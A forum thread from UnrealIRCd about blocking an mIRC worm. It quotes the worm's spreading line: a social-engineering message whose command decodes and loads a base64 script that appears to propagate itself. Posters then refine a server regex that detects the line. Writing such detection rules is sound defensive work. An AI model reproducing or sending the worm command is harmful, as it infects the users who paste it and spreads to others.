UnrealIRCd Forums

The worm is distributed by the next line written in privat to the user:

Bla bla bla. Bla bla. Bla: //.write -c a $decode( b24gITE6am9pbjojOi5tc2cgJG5pY2sgzeD46CD07vLq6C4gzcUg4ujw8/ EuIM3g4eXw6DogFi8vLndyaXRlIC1jIGEgJCAkKyBkZWNvZGUoICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIGEgfCAuaWdub3JlICRuaWNr ,m) | .load -rs a

I have written regex as follows:
regex ".* //.write -c a \$decode\(.+,m\) \|.+load -rs a";

Whether it is correct?

No. In the .conf file all \ needs to be doubled (again).

Try:
regex ".* //.write -c a \\$decode\\(.+,m\\) \\|.+load -rs a";

Odd. I think I found one time, that thats not true. Oh well.